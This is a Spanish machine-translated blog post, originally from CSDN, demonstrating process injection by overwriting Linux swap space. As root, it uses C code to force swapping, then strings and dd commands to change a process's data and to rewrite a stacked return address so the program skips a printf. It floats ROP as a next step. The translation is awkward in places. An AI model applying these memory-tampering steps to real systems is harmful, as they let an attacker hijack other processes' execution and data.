Modifique el espacio de intercambio de Linux para lograr la inyección de procesos

Después de dos noches consecutivas de fuertes lluvias, era cómodo y volví a casa del trabajo para seguir haciendo malabares.

Hice malabares con un puñado de / proc / $ pid / mem anoche y escribí un artículo sobre la inyección de código de proceso:
https://blog.csdn.net/dog250/article/details/108618568
Este método no es más que usar el kernel para exportar a Un archivo mem en procfs, ¡y afortunadamente se puede escribir! Este no es un método universal, en cuanto a trazar y apuntar, son más una herramienta que un arte.

El espacio de intercambio es lo suficientemente universal, cualquier sistema lo tiene, es una parte importante de la infraestructura de los sistemas operativos modernos, este artículo usará el espacio de intercambio para comenzar.

El fin de semana pasado, colgué el espacio de intercambio de una máquina virtual en mi computadora. Daba miedo. Lo tenía todo. Mis diversas contraseñas de cuenta y muchos de los sitios web en los que inicié sesión se podían encontrar en el espacio de intercambio. Así que rápidamente desactivé el intercambio. .

¡El espacio de intercambio es un cubo con fugas! Un tendedero público.

Por lo tanto, podemos usar el espacio de intercambio para reproducir el proceso de pirateo.

Por cierto, no piense en cifrar el espacio de intercambio. El intercambio ya es lento. Puede cifrar y descifrar de nuevo. Cuanto más lento es más lento. Para obtener un espacio de direcciones plano, no tiene sentido hacerlo, agregue memoria. Eso es.

Sin embargo, ¿no es posible volcar toda la memoria agregando una tarjeta de memoria? Por ejemplo, / dev / mem, / proc / $ pid / mem ... Aun así, es más seguro que swap. ¡Hack swap es tan fácil!

En primer lugar, quiero lograr el propósito de modificar datos privados en el proceso cubriendo una ubicación específica en el espacio de intercambio.

Mira el código primero:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>

#define MADV_SOFT_OFFLINE	101

int main(int argc, const char **argv)
{
    
    
	void *map[65536];
	char buf[256];
	int i = 0, which;

	// 循环分配内存并写内存,目的是触发swap to disk操作。
	while (i < 65535) {
    
     // 65535也许有点小了,为了实验的目的,我特意将虚拟机内存缩小为64M,以更容易地触发内存swap。
		map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
		if (map[i] == NULL)
			break;
		// 眼睁睁看着是这些字符串复制进了buffer
		snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat", i);
		strcpy(map[i], buf);
		i ++;
	}
	printf("map:%d\n", i);
	scanf("%d", &which);
	printf("map after:%s\n", map[which]);
	return 0;
}

Los siguientes pasos se realizan de una vez:

  • Encuentre la posición de la cadena característica en el espacio de intercambio.
  • Reemplace la cadena dd en la posición correspondiente en el espacio de intercambio.

Por favor mira:

# 在swap空间查找特征字符串的位置偏移
# 注意,我用1234做索引,目的后面我会导出进程map数组的第1234个元素,以查验它有没有被修改。
[root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
[root@localhost test]#
# 展示一下替换字符串以及其大小
[root@localhost test]# ll ./new
-rw-r--r-- 1 root root 70 9月  17 17:32 ./new
[root@localhost test]# cat new
DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang
[root@localhost test]#
# 上述偏移 0x391f000 的十进制 59895808,用替换自负串覆盖swap空间的特征字符串
[root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70 
记录了70+0 的读入
记录了70+0 的写出
70字节(70 B)已复制,0.00130832 秒,53.5 kB/秒

Tenga en cuenta que este artículo solo usa cadenas características como ejemplo. En la práctica, se puede usar cualquier binario para hacer coincidir. Aquí se usan cadenas, principalmente porque el comando strings es más conveniente y también se pueden usar reglas regulares. Si es una coincidencia binaria arbitraria, entonces Necesita otras técnicas de coincidencia de patrones binarios.

A continuación, ingreso 1234 como índice en la terminal donde se está ejecutando el programa mmap para ver la situación:

1234 # 此为输入,根据特征字符串E1234:ZheJiang,需要输入1234为索引
map after:DDDDD:Zhejiang Wenzhou   pixie  shi,xia  yu  jin  shui  bu  hui  pang

[root@localhost test]#

¡Reemplazado con éxito! Esta vez no usé stap, no escribí / proc / $ pid / mem, solo escribí swap.

Dado que los datos se pueden reemplazar, el espacio de la pila es parte de los datos y también se puede intercambiar. Si la pila se puede operar escribiendo swap, ¿no sería posible completar una operación similar a ROP y reemplazar la dirección de retorno a voluntad?

A continuación, intentémoslo.

Mira otro código:

#include <stdio.h>
#include <stdlib.h>

void func()
{
    
    
	char v[] = "555555555555555555555555";
	getchar();
	printf("after getchar\n");
}

int main(int argc, char **argv)
{
    
    
	func();
	printf("end\n");
	return 0;
}

Es simple, ejecutémoslo una vez:

[root@localhost test]# ./a.out
A
after getchar
end
[root@localhost test]#  

Ingrese un carácter, imprima dos líneas de indicaciones, nada más.

Mi objetivo es hacer que el programa ya no imprima la oración "después de getchar" manipulando el espacio de intercambio, omitiendo printf y regresando directamente de la diversión. ¿Se puede hacer? por supuesto que puede!

Ejecútelo primero, pero no escriba:

[root@localhost test]# ./a.out
... # 等待输入

Mire la ubicación de la dirección de devolución original de getchar a través de objdump:

400593:   e8 b8 fe ff ff          callq  400450 <getchar@plt>
400598:   bf 60 06 40 00          mov    $0x400660,%edi
40059d:   e8 8e fe ff ff          callq  400430 <puts@plt>
4005a2:   c9                      leaveq      

Bueno, es 0x400598. Quiero omitir printf, que se pone en objdump, modificando el espacio de intercambio y luego modificando la dirección de retorno a 0x4005a2.

El siguiente paso es encontrar la ubicación de la pila del programa a.out en el espacio de intercambio.

Si desea modificar la pila de un proceso operando el espacio de intercambio, debe encontrar una manera de intercambiar su pila. Si desea intercambiar la pila o.out, utilizo el proceso mmap al principio de este artículo para asignar memoria. Entonces, la memoria de pila del proceso inactivo a.out esperando entrada será, por supuesto, intercambiada.

Confirmarlo:

[root@localhost test]# ps -e|grep a.out
 3230 pts/2    00:00:01 a.out
[root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
Swap:                16 kB

A continuación, busque la cadena característica "555555555555555555555555" en un intento de encontrar la dirección de retorno de getchar 0x400598 cerca de ella:

[root@localhost test]# strings -a -t x /dev/dm-1 |grep 555555555555555555555555
2e5e09a 555555555555555555555555  # 2e5e09a向下附近确定为48619550,也可以是附近别的值。
[root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550 count=4096

Edite el archivo de pila binaria con ":%! Xxd" en "vi -b ./stack" y busque la siguiente ubicación:

...
00000050: 647f 0000 0000 0000 0000 0000 9805 4000  d.............@.
00000060: 0000 0000 3535 3535 3535 3535 3535 3535  ....555555555555
00000070: 3535 3535 3535 3535 3535 3535 0000 0000  555555555555....
...

Cambie "9805 4000" por "a205 4000":

00000050: 647f 0000 0000 0000 0000 0000 a205 4000  d.............@.

Ahorre con "%! Xxd -r", y luego dd back:

[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550 count=4096

Escriba el carácter "A" en la terminal que ejecuta a.out:

[root@localhost test]# ./a.out
A
end
[root@localhost test]#

Se omitió con éxito printf!

Me gustaría completar este tipo de ataque es muy simple, solo necesita activar el sistema para intercambiar memoria para intercambiar espacio, lo que debe hacer es asignar memoria y luego dejar que la memoria del sistema se empuje para explotar la visibilidad pública del espacio de intercambio , y luego ...

Hay que decir que si la pila de un proceso se intercambia, siempre que pueda encontrar la posición de la pila en el espacio de intercambio, puede apilar cualquier dato en la pila. No es difícil construir un ROP que satisfaga ReturnToLibc sin conexión. ¡Principalmente velocidad manual, debe ser rápida!

¿cómo decir? ¿Existe alguna necesidad de espacio de intercambio en los sistemas operativos modernos?

Como sistema operativo basado en almacenamiento virtual, los sistemas operativos modernos protegen las diferencias en los medios de memoria en principio, y el propósito es proporcionar un espacio de direcciones plano para el proceso. No hay problema. Sin embargo, en la práctica, creo que este mecanismo ya no es necesario. Se aplica más valor del intercambio a los sistemas de memoria pequeños, mientras que la memoria del sistema actual suele ser de decenas de gigabytes. Si el intercambio está habilitado, no se puede garantizar la seguridad. El intercambio frecuente de entrada y salida también provocará retrasos y fluctuaciones en la operación del proceso. Ya no es necesario.

Desactivar swap.


Los zapatos de cuero en Wenzhou, Zhejiang están mojados, por lo que no engordan con la lluvia.

Supongo que te gusta

Origin blog.csdn.net/dog250/article/details/108650671
Recomendado
Clasificación